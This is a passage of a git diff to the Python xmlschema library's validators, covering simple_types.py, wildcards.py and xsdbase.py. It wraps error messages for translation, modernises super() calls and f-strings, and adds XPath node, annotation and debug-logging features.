XSD_ANY_SIMPLE_TYPE: - self.parse_error("wrong base type {!r}, an atomic type required") + msg = _("wrong base type %r, an atomic type required") + self.parse_error(msg % XSD_ANY_SIMPLE_TYPE) elif base_type.is_complex(): if base_type.mixed and base_type.is_emptiable(): child = self._parse_child_component(elem, strict=False) if child is None: - self.parse_error("an xs:simpleType definition expected") + msg = _("an xs:simpleType definition expected") + self.parse_error(msg) elif child.tag != XSD_SIMPLE_TYPE: # See: "http://www.w3.org/TR/xmlschema-2/#element-restriction" - self.parse_error( + self.parse_error(_( "when a complexType with simpleContent restricts a complexType " "with mixed and with emptiable content then a simpleType child " - "declaration is required." - ) + "declaration is required" + )) elif self.parent is None or self.parent.is_simple(): - self.parse_error( - "simpleType restriction of %r is not allowed" % base_type - ) + msg = _("simpleType restriction of %r is not allowed") + self.parse_error(msg % base_type) for child in elem: if child.tag == XSD_ANNOTATION or callable(child.tag): @@ -1236,11 +1301,13 @@ def _parse(self) -> None: elif child.tag in self._CONTENT_TAIL_TAGS: has_attributes = True # only if it's a complexType restriction elif has_attributes: - self.parse_error("unexpected tag after attribute declarations") + msg = _("unexpected tag after attribute declarations") + self.parse_error(msg) elif child.tag == XSD_SIMPLE_TYPE: # Case of simpleType declaration inside a restriction if has_simple_type_child: - self.parse_error("duplicated simpleType declaration") + msg = _("duplicated simpleType declaration") + self.parse_error(msg) if base_type is None: try: @@ -1261,22 +1328,22 @@ def _parse(self) -> None: final=base_type.final, ) elif 'base' in elem.attrib: - self.parse_error( - "restriction with 'base' attribute and simpleType declaration" - ) + msg = _("restriction with 'base' attribute and simpleType declaration") + self.parse_error(msg) has_simple_type_child = True else: try: facet_class = self._FACETS_BUILDERS[child.tag] except KeyError: - self.parse_error("unexpected tag %r in restriction:" % child.tag) + self.parse_error(_("unexpected tag %r in restriction") % child.tag) continue if child.tag not in facets: facets[child.tag] = facet_class(child, self.schema, self, base_type) elif child.tag not in MULTIPLE_FACETS: - self.parse_error("multiple %r constraint facet" % local_name(child.tag)) + msg = _("multiple %r constraint facet") + self.parse_error(msg % local_name(child.tag)) elif child.tag != XSD_ASSERTION: facets[child.tag].append(child) else: @@ -1287,12 +1354,13 @@ def _parse(self) -> None: facets[child.tag] = [facets[child.tag], assertion] if base_type is None: - self.parse_error("missing base type in restriction:") + self.parse_error(_("missing base type in restriction")) elif base_type.final == '#all' or 'restriction' in base_type.final: - self.parse_error("'final' value of the baseType %r forbids " - "derivation by restriction" % base_type) + msg = _("'final' value of the baseType %r forbids derivation by restriction") + self.parse_error(msg % base_type) if base_type is self.any_atomic_type: - self.parse_error("Cannot use xs:anyAtomicType as base type of a user-defined type") + msg = _("cannot use xs:anyAtomicType as base type of a user-defined type") + self.parse_error(msg) self.base_type = base_type self.facets = facets @@ -1323,11 +1391,20 @@ def iter_components(self, xsd_classes: ComponentClassType = None) \ if self.base_type.parent is not None: yield from self.base_type.iter_components(xsd_classes) - def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: Any) \ + def iter_decode(self, obj: AtomicValueType, validation: str = 'lax', **kwargs: Any) \ -> IterDecodeType[DecodedValueType]: if isinstance(obj, (str, bytes)): obj = self.normalize(obj) + if self.patterns: + if not isinstance(self.primitive_type, XsdUnion): + try: + self.patterns(obj) + except XMLSchemaValidationError as err: + yield err + elif 'patterns' not in kwargs: + kwargs['patterns'] = self.patterns + base_type: Any if isinstance(self.base_type, XsdSimpleType): base_type = self.base_type @@ -1336,24 +1413,14 @@ def iter_decode(self, obj: Union[str, bytes], validation: str = 'lax', **kwargs: elif self.base_type.mixed: yield obj return - else: - raise XMLSchemaValueError("wrong base type %r: a simpleType or a complexType with " - "simple or mixed content required." % self.base_type) - - if self.patterns: - if not isinstance(self.primitive_type, XsdUnion): - try: - self.patterns(obj) - except XMLSchemaValidationError as err: - yield err - elif 'patterns' not in kwargs: - kwargs['patterns'] = self.patterns + else: # pragma: no cover + msg = _("wrong base type %r: a simpleType or a complexType " + "with simple or mixed content required") + raise XMLSchemaValueError(msg % self.base_type) for result in base_type.iter_decode(obj, validation, **kwargs): if isinstance(result, XMLSchemaValidationError): yield result - if isinstance(result, XMLSchemaDecodeError): - yield str(obj) if validation == 'skip' else None else: if result is not None: for validator in self.validators: @@ -1384,9 +1451,10 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ elif self.base_type.mixed: yield str(obj) return - else: - raise XMLSchemaValueError("wrong base type %r: a simpleType or a complexType with " - "simple or mixed content required." % self.base_type) + else: # pragma: no cover + msg = _("wrong base type %r: a simpleType or a complexType " + "with simple or mixed content required") + raise XMLSchemaValueError(msg % self.base_type) result: Any for result in base_type.iter_encode(obj, validation): @@ -1405,11 +1473,17 @@ def iter_encode(self, obj: Any, validation: str = 'lax', **kwargs: Any) \ except (ValueError, DecimalException, TypeError): pass - for validator in self.validators: - try: - validator(obj) - except XMLSchemaValidationError as err: - yield err + if self.validators: + if self.root_type.name in (XSD_QNAME, XSD_NOTATION): + value = get_extended_qname(obj, kwargs.get('namespaces')) + else: + value = obj + + for validator in self.validators: + try: + validator(value) + except XMLSchemaValidationError as err: + yield err if self.patterns: if not isinstance(self.primitive_type, XsdUnion): diff --git a/xmlschema/validators/wildcards.py b/xmlschema/validators/wildcards.py index 0fd6ef3..4092b1d 100644 --- a/xmlschema/validators/wildcards.py +++ b/xmlschema/validators/wildcards.py @@ -10,25 +10,25 @@ """ This module contains classes for XML Schema wildcards. """ -from typing import cast, Any, Callable, Dict, Iterable, Iterator, List, Optional, \ - Tuple, Union, Counter +from typing import Any, Callable, Dict, Iterable, Iterator, List, Optional, \ + Tuple, Union + +from elementpath import SchemaElementNode, build_schema_node_tree from ..exceptions import XMLSchemaValueError from ..names import XSI_NAMESPACE, XSD_ANY, XSD_ANY_ATTRIBUTE, \ XSD_OPEN_CONTENT, XSD_DEFAULT_OPEN_CONTENT, XSI_TYPE from ..aliases import ElementType, SchemaType, SchemaElementType, SchemaAttributeType, \ ModelGroupType, ModelParticleType, AtomicValueType, IterDecodeType, IterEncodeType, \ - DecodedValueType, EncodedValueType + DecodedValueType, EncodedValueType, OccursCounterType +from ..translation import gettext as _ from ..helpers import get_namespace, raw_xml_encode -from ..xpath import XMLSchemaProtocol, ElementProtocol, XMLSchemaProxy, ElementPathMixin +from ..xpath import XMLSchemaProxy, ElementPathMixin from .xsdbase import ValidationMixin, XsdComponent from .particles import ParticleMixin from . import elements -OccursCounterType = Counter[Union[ModelParticleType, Tuple[ModelParticleType]]] - - class XsdWildcard(XsdComponent): names = () namespace: Union[Tuple[str], List[str]] = ('##any',) @@ -72,7 +72,8 @@ def _parse(self) -> None: elif ns == '##targetNamespace': self.namespace.append(self.target_namespace) elif ns.startswith('##'): - self.parse_error("wrong value %r in 'namespace' attribute" % ns) + msg = _("wrong value %r in 'namespace' attribute") + self.parse_error(msg % ns) else: self.namespace.append(ns) @@ -80,8 +81,8 @@ def _parse(self) -> None: if process_contents == 'strict': pass elif process_contents not in ('lax', 'skip'): - self.parse_error("wrong value %r for 'processContents' " - "attribute" % self.process_contents) + msg = _("wrong value %r for 'processContents' attribute") + self.parse_error(msg % self.process_contents) else: self.process_contents = process_contents @@ -89,7 +90,8 @@ def _parse_not_constraints(self) -> None: if 'notNamespace' not in self.elem.attrib: pass elif 'namespace' in self.elem.attrib: - self.parse_error("'namespace' and 'notNamespace' attributes are mutually exclusive") + msg = _("'namespace' and 'notNamespace' attributes are mutually exclusive") + self.parse_error(msg) else: self.namespace = [] self.not_namespace = [] @@ -99,7 +101,8 @@ def _parse_not_constraints(self) -> None: elif ns == '##targetNamespace': self.not_namespace.append(self.target_namespace) elif ns.startswith('##'): - self.parse_error("wrong value %r in 'notNamespace' attribute" % ns) + msg = _("wrong value %r in 'notNamespace' attribute") + self.parse_error(msg % ns) else: self.not_namespace.append(ns) @@ -114,28 +117,31 @@ def _parse_not_constraints(self) -> None: for s in not_qname) or \ not all(not s.startswith('##') or s in {'##defined', '##definedSibling'} for s in not_qname): - self.parse_error("wrong value for 'notQName' attribute") + self.parse_error(_("wrong value for 'notQName' attribute")) return try: names = [x if x.startswith('##') else self.schema.resolve_qname(x, False) for x in not_qname] except KeyError as err: - self.parse_error("unmapped QName in 'notQName' attribute: %s" % str(err)) + msg = _("unmapped QName in 'notQName' attribute: %s") + self.parse_error(msg % str(err)) return except ValueError as err: - self.parse_error("wrong QName format in 'notQName' attribute: %s" % str(err)) + msg = _("wrong QName format in 'notQName' attribute: %s") + self.parse_error(msg % str(err)) return if self.not_namespace: if any(not x.startswith('##') for x in names) and \ all(get_namespace(x) in self.not_namespace for x in names if not x.startswith('##')): - self.parse_error("the namespace of each QName in notQName " - "is allowed by notNamespace") + msg = _("the namespace of each QName in notQName is allowed by notNamespace") + self.parse_error(msg) elif any(not self.is_namespace_allowed(get_namespace(x)) for x in names if not x.startswith('##')): - self.parse_error("names in notQName must be in namespaces that are allowed") + msg = _("names in notQName must be in namespaces that are allowed") + self.parse_error(msg) self.not_qname = names @@ -143,6 +149,10 @@ def _parse_not_constraints(self) -> None: def built(self) -> bool: return True + @property + def value_constraint(self) -> Optional[str]: + return None + def is_matching(self, name: Optional[str], default_namespace: Optional[str] = None, **kwargs: Any) -> bool: @@ -153,8 +163,7 @@ def is_matching(self, name: Optional[str], elif not default_namespace: return self.is_namespace_allowed('') else: - return self.is_namespace_allowed('') or \ - self.is_namespace_allowed(default_namespace) + return self.is_namespace_allowed(default_namespace) def is_namespace_allowed(self, namespace: str) -> bool: if self.not_namespace: @@ -193,12 +202,14 @@ def deny_qnames(self, names: Iterable[str]) -> bool: def is_restriction(self, other: Union[ModelParticleType, 'XsdAnyAttribute'], check_occurs: bool = True) -> bool: - if check_occurs and isinstance(self, ParticleMixin) \ - and not isinstance(other, XsdAnyAttribute) \ - and not self.has_occurs_restriction(other): - return False - elif not isinstance(other, self.__class__): + if not isinstance(other, self.__class__): return False + elif check_occurs and isinstance(self, ParticleMixin): + if not isinstance(other, XsdAnyAttribute) and \ + not self.has_occurs_restriction(other): + return False + elif self.max_occurs == 0: + return True other: XsdWildcard # type: ignore[no-redef] if other.process_contents == 'strict' and self.process_contents != 'strict': @@ -309,7 +320,7 @@ def union(self, other: Union['XsdAnyElement', 'XsdAnyAttribute']) -> None: elif '' not in w2.namespace and w1.target_namespace == w2.target_namespace: self.namespace = ['##other'] elif self.xsd_version == '1.0': - msg = "not expressible wildcard namespace union: {!r} V {!r}:" + msg = _("not expressible wildcard namespace union: {0!r} V {1!r}:") raise XMLSchemaValueError(msg.format(other.namespace, self.namespace)) else: self.namespace = [] @@ -395,7 +406,7 @@ class XsdAnyElement(XsdWildcard, ParticleMixin, def __init__(self, elem: ElementType, schema: SchemaType, parent: XsdComponent) -> None: self.precedences = {} - super(XsdAnyElement, self).__init__(elem, schema, parent) + super().__init__(elem, schema, parent) def __repr__(self) -> str: if self.namespace: @@ -411,13 +422,23 @@ def __repr__(self) -> str: @property def xpath_proxy(self) -> XMLSchemaProxy: - return XMLSchemaProxy( - schema=cast(XMLSchemaProtocol, self.schema), - base_element=cast(ElementProtocol, self) + return XMLSchemaProxy(self.schema, self) + + @property + def xpath_node(self) -> SchemaElementNode: + schema_node = self.schema.xpath_node + node = schema_node.get_element_node(self) + if isinstance(node, SchemaElementNode): + return node + + return build_schema_node_tree( + root=self, + elements=schema_node.elements, + global_elements=schema_node.children, ) def _parse(self) -> None: - super(XsdAnyElement, self)._parse() + super()._parse() self._parse_particle(self.elem) def match(self, name: Optional[str], default_namespace: Optional[str] = None, @@ -440,7 +461,7 @@ def match(self, name: Optional[str], default_namespace: Optional[str] = None, try: if name[0] != '{' and default_namespace: - return self.maps.lookup_element('{%s}%s' % (default_namespace, name)) + return self.maps.lookup_element(f'{{{default_namespace}}}{name}') else: return self.maps.lookup_element(name) except LookupError: @@ -463,7 +484,7 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) -> IterDecodeType[Any]: if not self.is_matching(obj.tag): - reason = "{!r} is not allowed here".format(obj) + reason = _("element {!r} is not allowed here").format(obj) yield self.validation_error(validation, reason, obj, **kwargs) if self.process_contents == 'skip': @@ -471,7 +492,7 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) return namespace = get_namespace(obj.tag) - if not self.maps.load_namespace(namespace): + if namespace not in self.maps.namespaces and not self.maps.load_namespace(namespace): reason = f"unavailable namespace {namespace!r}" else: try: @@ -497,7 +518,11 @@ def iter_decode(self, obj: ElementType, validation: str = 'lax', **kwargs: Any) if validation != 'skip' and self.process_contents == 'strict': yield self.validation_error(validation, reason, obj, **kwargs) - yield from self.any_type.iter_decode(obj, validation, **kwargs) + + xsd_element = self.maps.validator.create_element( + obj.tag, parent=self, form='unqualified' + ) + yield from xsd_element.iter_decode(obj, validation, **kwargs) def iter_encode(self, obj: Tuple[str, ElementType], validation: str = 'lax', **kwargs: Any) \ -> IterEncodeType[Any]: @@ -505,7 +530,7 @@ def iter_encode(self, obj: Tuple[str, ElementType], validation: str = 'lax', **k namespace = get_namespace(name) if not self.is_namespace_allowed(namespace): - reason = "element {!r} is not allowed here".format(name) + reason = _("element {!r} is not allowed here").format(name) yield self.validation_error(validation, reason, value, **kwargs) if self.process_contents == 'skip': @@ -523,7 +548,7 @@ def iter_encode(self, obj: Tuple[str, ElementType], validation: str = 'lax', **k yield from xsd_element.iter_encode(value, validation, **kwargs) return - # Check if there is an xsi:type attribute, but it has to extract + # Check if there is a xsi:type attribute, but it has to extract # attributes using the converter instance. if self.process_contents == 'strict': xsd_element = self.maps.validator.create_element( @@ -537,21 +562,26 @@ def iter_encode(self, obj: Tuple[str, ElementType], validation: str = 'lax', **k try: converter = kwargs['converter'] except KeyError: - converter = kwargs['converter'] = self.schema.get_converter(**kwargs) + converter = self._get_converter(value, kwargs) try: level = kwargs['level'] except KeyError: - element_data = converter.element_encode(value, xsd_element) - else: - element_data = converter.element_encode(value, xsd_element, level) + level = kwargs['level'] = 0 - if XSI_TYPE in element_data.attributes: - yield from xsd_element.iter_encode(value, validation, **kwargs) - return + try: + element_data = converter.element_encode(value, xsd_element, level) + except (ValueError, TypeError) as err: + if validation != 'skip' and self.process_contents == 'strict': + yield self.validation_error(validation, err, value, **kwargs) + else: + if XSI_TYPE in element_data.attributes: + yield from xsd_element.iter_encode(value, validation, **kwargs) + return if validation != 'skip' and self.process_contents == 'strict': yield self.validation_error(validation, reason, **kwargs) + yield from self.any_type.iter_encode(obj, validation, **kwargs) def is_overlap(self, other: ModelParticleType) -> bool: @@ -630,7 +660,7 @@ def match(self, name: Optional[str], default_namespace: Optional[str] = None, try: if name[0] != '{' and default_namespace: - return self.maps.lookup_attribute('{%s}%s' % (default_namespace, name)) + return self.maps.lookup_attribute(f'{{{default_namespace}}}{name}') else: return self.maps.lookup_attribute(name) except LookupError: @@ -641,7 +671,7 @@ def iter_decode(self, obj: Tuple[str, str], validation: str = 'lax', **kwargs: A name, value = obj if not self.is_matching(name): - reason = "attribute %r not allowed." % name + reason = _("attribute %r not allowed") % name yield self.validation_error(validation, reason, obj, **kwargs) if self.process_contents == 'skip': @@ -653,14 +683,14 @@ def iter_decode(self, obj: Tuple[str, str], validation: str = 'lax', **kwargs: A xsd_attribute = self.maps.lookup_attribute(name) except LookupError: if validation != 'skip' and self.process_contents == 'strict': - reason = "attribute %r not found." % name + reason = _("attribute %r not found") % name yield self.validation_error(validation, reason, obj, **kwargs) else: yield from xsd_attribute.iter_decode(value, validation, **kwargs) return elif validation != 'skip' and self.process_contents == 'strict': - reason = "unavailable namespace {!r}".format(get_namespace(name)) + reason = _("unavailable namespace {!r}").format(get_namespace(name)) yield self.validation_error(validation, reason, **kwargs) yield value @@ -671,7 +701,7 @@ def iter_encode(self, obj: Tuple[str, AtomicValueType], validation: str = 'lax', namespace = get_namespace(name) if not self.is_namespace_allowed(namespace): - reason = "attribute %r not allowed." % name + reason = _("attribute %r not allowed") % name yield self.validation_error(validation, reason, obj, **kwargs) if self.process_contents == 'skip': @@ -683,14 +713,14 @@ def iter_encode(self, obj: Tuple[str, AtomicValueType], validation: str = 'lax', xsd_attribute = self.maps.lookup_attribute(name) except LookupError: if validation != 'skip' and self.process_contents == 'strict': - reason = "attribute %r not found." % name + reason = _("attribute %r not found") % name yield self.validation_error(validation, reason, obj, **kwargs) else: yield from xsd_attribute.iter_encode(value, validation, **kwargs) return elif validation != 'skip' and self.process_contents == 'strict': - reason = "unavailable namespace {!r}".format(get_namespace(name)) + reason = _("unavailable namespace {!r}").format(get_namespace(name)) yield self.validation_error(validation, reason, **kwargs) yield raw_xml_encode(value) @@ -713,7 +743,7 @@ class Xsd11AnyElement(XsdAnyElement): </any> """ def _parse(self) -> None: - super(Xsd11AnyElement, self)._parse() + super()._parse() self._parse_not_constraints() def is_matching(self, name: Optional[str], @@ -723,10 +753,10 @@ def is_matching(self, name: Optional[str], **kwargs: Any) -> bool: """ Returns `True` if the component name is matching the name provided as argument, - `False` otherwise. For XSD elements the matching is extended to substitutes. + `False` otherwise. :param name: a local or fully-qualified name. - :param default_namespace: used if it's not None and not empty for completing \ + :param default_namespace: used by the XPath processor for completing \ the name argument in case it's a local name. :param group: used only by XSD 1.1 any element wildcards to verify siblings in \ case of ##definedSibling value in notQName attribute. @@ -741,16 +771,15 @@ def is_matching(self, name: Optional[str], if not self.is_namespace_allowed(''): return False else: - name = '{%s}%s' % (default_namespace, name) - if not self.is_namespace_allowed('') \ - and not self.is_namespace_allowed(default_namespace): + name = f'{{{default_namespace}}}{name}' + if not self.is_namespace_allowed(default_namespace): return False if group in self.precedences: if occurs is None: if any(e.is_matching(name) for e in self.precedences[group]): return False - elif any(e.is_matching(name) and not e.is_over(occurs[e]) + elif any(e.is_matching(name) and not e.is_over(occurs) for e in self.precedences[group]): return False @@ -791,7 +820,7 @@ class Xsd11AnyAttribute(XsdAnyAttribute): </anyAttribute> """ def _parse(self) -> None: - super(Xsd11AnyAttribute, self)._parse() + super()._parse() self._parse_not_constraints() def is_matching(self, name: Optional[str], @@ -804,7 +833,7 @@ def is_matching(self, name: Optional[str], elif not default_namespace: namespace = '' else: - name = '{%s}%s' % (default_namespace, name) + name = f'{{{default_namespace}}}{name}' namespace = default_namespace if '##defined' in self.not_qname and name in self.maps.attributes: @@ -834,33 +863,32 @@ class XsdOpenContent(XsdComponent): any_element = None # type: Xsd11AnyElement def __init__(self, elem: ElementType, schema: SchemaType, parent: XsdComponent) -> None: - super(XsdOpenContent, self).__init__(elem, schema, parent) + super().__init__(elem, schema, parent) def __repr__(self) -> str: return '%s(mode=%r)' % (self.__class__.__name__, self.mode) def _parse(self) -> None: - super(XsdOpenContent, self)._parse() + super()._parse() try: self.mode = self.elem.attrib['mode'] except KeyError: pass else: - if self.mode not in {'none', 'interleave', 'suffix'}: - self.parse_error("wrong value %r for 'mode' attribute." % self.mode) + if self.mode not in ('none', 'interleave', 'suffix'): + msg = _("wrong value %r for 'mode' attribute") + self.parse_error(msg % self.mode) child = self._parse_child_component(self.elem) if self.mode == 'none': if child is not None and child.tag == XSD_ANY: - self.parse_error("an openContent with mode='none' must not " - "have an <xs:any> child declaration") + msg = _("an openContent with mode='none' cannot " + "have an <xs:any> child declaration") + self.parse_error(msg) elif child is None or child.tag != XSD_ANY: - self.parse_error("an <xs:any> child declaration is required") + self.parse_error(_("an <xs:any> child declaration is required")) else: - any_element = Xsd11AnyElement(child, self.schema, self) - any_element.min_occurs = 0 - any_element.max_occurs = None - self.any_element = any_element + self.any_element = Xsd11AnyElement(child, self.schema, self) @property def built(self) -> bool: @@ -894,14 +922,17 @@ def __init__(self, elem: ElementType, schema: SchemaType) -> None: super(XsdOpenContent, self).__init__(elem, schema) def _parse(self) -> None: - super(XsdDefaultOpenContent, self)._parse() + super()._parse() if self.parent is not None: - self.parse_error("defaultOpenContent must be a child of the schema") + msg = _("defaultOpenContent must be a child of the schema") + self.parse_error(msg) if self.mode == 'none': - self.parse_error("the attribute 'mode' of a defaultOpenContent cannot be 'none'") + msg = _("the attribute 'mode' of a defaultOpenContent cannot be 'none'") + self.parse_error(msg) if self._parse_child_component(self.elem) is None: - self.parse_error("a defaultOpenContent declaration cannot be empty") + msg = _("a defaultOpenContent declaration cannot be empty") + self.parse_error(msg) if 'appliesToEmpty' in self.elem.attrib: - if self.elem.attrib['appliesToEmpty'].strip() in {'true', '1'}: + if self.elem.attrib['appliesToEmpty'].strip() in ('true', '1'): self.applies_to_empty = True diff --git a/xmlschema/validators/xsdbase.py b/xmlschema/validators/xsdbase.py index 37733fa..7ece8a0 100644 --- a/xmlschema/validators/xsdbase.py +++ b/xmlschema/validators/xsdbase.py @@ -10,23 +10,30 @@ """ This module contains base functions and classes XML Schema components. """ +import logging import re from typing import TYPE_CHECKING, cast, Any, Dict, Generic, List, Iterator, Optional, \ Set, Tuple, TypeVar, Union, MutableMapping +from xml.etree import ElementTree -import elementpath +from elementpath import select +from elementpath.etree import etree_tostring from ..exceptions import XMLSchemaValueError, XMLSchemaTypeError from ..names import XSD_ANNOTATION, XSD_APPINFO, XSD_DOCUMENTATION, \ XSD_ANY_TYPE, XSD_ANY_SIMPLE_TYPE, XSD_ANY_ATOMIC_TYPE, XSD_ID, \ - XSD_QNAME, XSD_OVERRIDE, XSD_NOTATION_TYPE, XSD_DECIMAL -from ..etree import is_etree_element, etree_tostring, etree_element + XSD_QNAME, XSD_OVERRIDE, XSD_NOTATION_TYPE, XSD_DECIMAL, \ + XMLNS_NAMESPACE, XSD_BOOLEAN from ..aliases import ElementType, NamespacesType, SchemaType, BaseXsdType, \ ComponentClassType, ExtraValidatorType, DecodeType, IterDecodeType, \ EncodeType, IterEncodeType -from ..helpers import get_qname, local_name, get_prefixed_qname +from ..translation import gettext as _ +from ..helpers import get_qname, local_name, get_prefixed_qname, \ + is_etree_element, is_etree_document, format_xmlschema_stack from ..resources import XMLResource +from ..converters import XMLSchemaConverter from .exceptions import XMLSchemaParseError, XMLSchemaValidationError +from .helpers import get_xsd_annotation_child if TYPE_CHECKING: from .simple_types import XsdSimpleType @@ -35,6 +42,8 @@ from .groups import XsdGroup from .global_maps import XsdGlobals +logger = logging.getLogger('xmlschema') + XSD_TYPE_DERIVATIONS = {'extension', 'restriction'} XSD_ELEMENT_DERIVATIONS = {'extension', 'restriction', 'substitution'} @@ -46,9 +55,11 @@ def check_validation_mode(validation: str) -> None: + if not isinstance(validation, str): + raise XMLSchemaTypeError(_("validation mode must be a string")) if validation not in XSD_VALIDATION_MODES: - raise XMLSchemaValueError("validation mode can be 'strict', " - "'lax' or 'skip': %r" % validation) + raise XMLSchemaValueError(_("validation mode can be 'strict', " + "'lax' or 'skip': %r") % validation) class XsdValidator: @@ -66,7 +77,7 @@ class XsdValidator: :ivar errors: XSD validator building errors. :vartype errors: list """ - elem: Optional[etree_element] = None + elem: Optional[ElementTree.Element] = None namespaces: Any = None errors: List[XMLSchemaParseError] @@ -167,10 +178,12 @@ def parse_error(self, error: Union[str, Exception], raise XMLSchemaTypeError(msg.format(elem)) if isinstance(error, XMLSchemaParseError): - error.validator = self - error.namespaces = getattr(self, 'namespaces', None) - error.elem = elem - error.source = getattr(self, 'source', None) + if error.namespaces is None: + error.namespaces = getattr(self, 'namespaces', None) + if error.elem is None: + error.elem = elem + if error.source is None: + error.source = getattr(self, 'source', None) elif isinstance(error, Exception): message = str(error).strip() if message[0] in '\'"' and message[0] == message[-1]: @@ -183,6 +196,10 @@ def parse_error(self, error: Union[str, Exception], raise XMLSchemaTypeError(msg.format(error)) if validation == 'lax': + if error.stack_trace is None and logger.level == logging.DEBUG: + error.stack_trace = format_xmlschema_stack() + logger.debug("Collect %r with traceback:\n%s", error, error.stack_trace) + self.errors.append(error) else: raise error @@ -190,9 +207,10 @@ def parse_error(self, error: Union[str, Exception], def validation_error(self, validation: str, error: Union[str, Exception], obj: Any = None, - source: Optional[XMLResource] = None, + elem: Optional[ElementType] = None, + source: Optional[Any] = None, namespaces: Optional[NamespacesType] = None, - **_kwargs: Any) -> XMLSchemaValidationError: + **kwargs: Any) -> XMLSchemaValidationError: """ Helper method for generating and updating validation errors. If validation mode is 'lax' or 'skip' returns the error, otherwise raises the error. @@ -200,11 +218,15 @@ def validation_error(self, validation: str, :param validation: an error-compatible validation mode: can be 'lax' or 'strict'. :param error: an error instance or the detailed reason of failed validation. :param obj: the instance related to the error. - :param source: the XML resource related to the validation process. + :param elem: the element related to the error, can be `obj` for elements. + :param source: the XML resource or data related to the validation process. :param namespaces: is an optional mapping from namespace prefix to URI. - :param _kwargs: keyword arguments of the validation process that are not used. + :param kwargs: other keyword arguments of the validation process. """ check_validation_mode(validation) + if elem is None and is_etree_element(obj): + elem = cast(ElementType, obj) + if isinstance(error, XMLSchemaValidationError): if error.namespaces is None and namespaces is not None: error.namespaces = namespaces @@ -212,18 +234,28 @@ def validation_error(self, validation: str, error.source = source if error.obj is None and obj is not None: error.obj = obj - if error.elem is None and obj is not None and is_etree_element(obj): - error.elem = obj - if is_etree_element(error.obj) and obj.tag == error.obj.tag: - error.obj = obj + elif is_etree_element(error.obj) and elem is not None: + if elem.tag == error.obj.tag and elem is not error.obj: + error.obj = elem elif isinstance(error, Exception): error = XMLSchemaValidationError(self, obj, str(error), source, namespaces) else: error = XMLSchemaValidationError(self, obj, error, source, namespaces) + if error.elem is None and elem is not None: + error.elem = elem + if validation == 'strict' and error.elem is not None: raise error + + if error.stack_trace is None and logger.level == logging.DEBUG: + error.stack_trace = format_xmlschema_stack() + logger.debug("Collect %r with traceback:\n%s", error, error.stack_trace) + + if 'errors' in kwargs and error not in kwargs['errors']: + kwargs['errors'].append(error) + return error def _parse_xpath_default_namespace(self, elem: ElementType) -> str: @@ -250,8 +282,9 @@ def _parse_xpath_default_namespace(self, elem: ElementType) -> str: return value else: admitted_values = ('##defaultNamespace', '##targetNamespace', '##local') - msg = "wrong value %r for 'xpathDefaultNamespace' attribute, can be (anyURI | %s)." - self.parse_error(msg % (value, ' | '.join(admitted_values)), elem) + msg = _("wrong value {0!r} for 'xpathDefaultNamespace' " + "attribute, can be (anyURI | {1}).") + self.parse_error(msg.format(value, ' | '.join(admitted_values)), elem) return '' @@ -273,21 +306,22 @@ class XsdComponent(XsdValidator): _REGEX_SPACES = re.compile(r'\s+') _ADMITTED_TAGS: Union[Set[str], Tuple[str, ...], Tuple[()]] = () - elem: etree_element + elem: ElementType parent = None name = None ref: Optional['XsdComponent'] = None qualified = True redefine = None _annotation = None + _annotations: List['XsdAnnotation'] _target_namespace: Optional[str] - def __init__(self, elem: etree_element, + def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional['XsdComponent'] = None, name: Optional[str] = None) -> None: - super(XsdComponent, self).__init__(schema.validation) + super().__init__(schema.validation) if name: self.name = name if parent is not None: @@ -303,12 +337,12 @@ def __setattr__(self, name: str, value: Any) -> None: raise XMLSchemaValueError( msg.format(value.tag, self.__class__, self._ADMITTED_TAGS) ) - super(XsdComponent, self).__setattr__(name, value) + super().__setattr__(name, value) if self.errors: self.errors.clear() self._parse() else: - super(XsdComponent, self).__setattr__(name, value) + super().__setattr__(name, value) @property def xsd_version(self) -> str: @@ -366,19 +400,40 @@ def any_atomic_type(self) -> 'XsdSimpleType': @property def annotation(self) -> Optional['XsdAnnotation']: + """ + The primary annotation of the XSD component, if any. This is the annotation + defined in the first child of the element where the component is defined. + """ if '_annotation' not in self.__dict__: - for child in self.elem: - if child.tag == XSD_ANNOTATION: - self._annotation = XsdAnnotation(child, self.schema, self) - break - elif not callable(child.tag): - self._annotation = None - break + child = get_xsd_annotation_child(self.elem) + if child is not None: + self._annotation = XsdAnnotation(child, self.schema, self) else: self._annotation = None return self._annotation + @property + def annotations(self) -> List['XsdAnnotation']: + """A list containing all the annotations of the XSD component.""" + if '_annotations' not in self.__dict__: + self._annotations = [] + components = self.schema.components + parent_map = self.schema.source.parent_map + + for elem in self.elem.iter(): + if elem is self.elem: + annotation = self.annotation + if annotation is not None: + self._annotations.append(annotation) + elif elem in components: + break + elif elem.tag == XSD_ANNOTATION: + parent_elem = parent_map[elem] + self._annotations.append(XsdAnnotation(elem, self.schema, self, parent_elem)) + + return self._annotations + def __repr__(self) -> str: if self.ref is not None: return '%s(ref=%r)' % (self.__class__.__name__, self.prefixed_name) @@ -400,15 +455,17 @@ def _parse_reference(self) -> Optional[bool]: if 'name' in self.elem.attrib: return None elif self.parent is None: - self.parse_error("missing attribute 'name' in a global %r" % type(self)) + msg = _("missing attribute 'name' in a global %r") + self.parse_error(msg % type(self)) else: - self.parse_error( - "missing both attributes 'name' and 'ref' in local %r" % type(self) - ) + msg = _("missing both attributes 'name' and 'ref' in local %r") + self.parse_error(msg % type(self)) elif 'name' in self.elem.attrib: - self.parse_error("attributes 'name' and 'ref' are mutually exclusive") + msg = _("attributes 'name' and 'ref' are mutually exclusive") + self.parse_error(msg) elif self.parent is None: - self.parse_error("attribute 'ref' not allowed in a global %r" % type(self)) + msg = _("attribute 'ref' not allowed in a global %r") + self.parse_error(msg % type(self)) else: try: self.name = self.schema.resolve_qname(ref) @@ -416,8 +473,8 @@ def _parse_reference(self) -> Optional[bool]: self.parse_error(err) else: if self._parse_child_component(self.elem, strict=False) is not None: - self.parse_error("a reference component cannot have " - "child definitions/declarations") + msg = _("a reference component cannot have child definitions/declarations") + self.parse_error(msg) return True return None @@ -431,7 +488,7 @@ def _parse_child_component(self, elem: ElementType, strict: bool = True) \ elif not strict: return e elif child is not None: - msg = "too many XSD components, unexpected {!r} found at position {}" + msg = _("too many XSD components, unexpected {0!r} found at position {1}") self.parse_error(msg.format(child, elem[:].index(e)), elem) break else: @@ -446,31 +503,52 @@ def _parse_target_namespace(self) -> 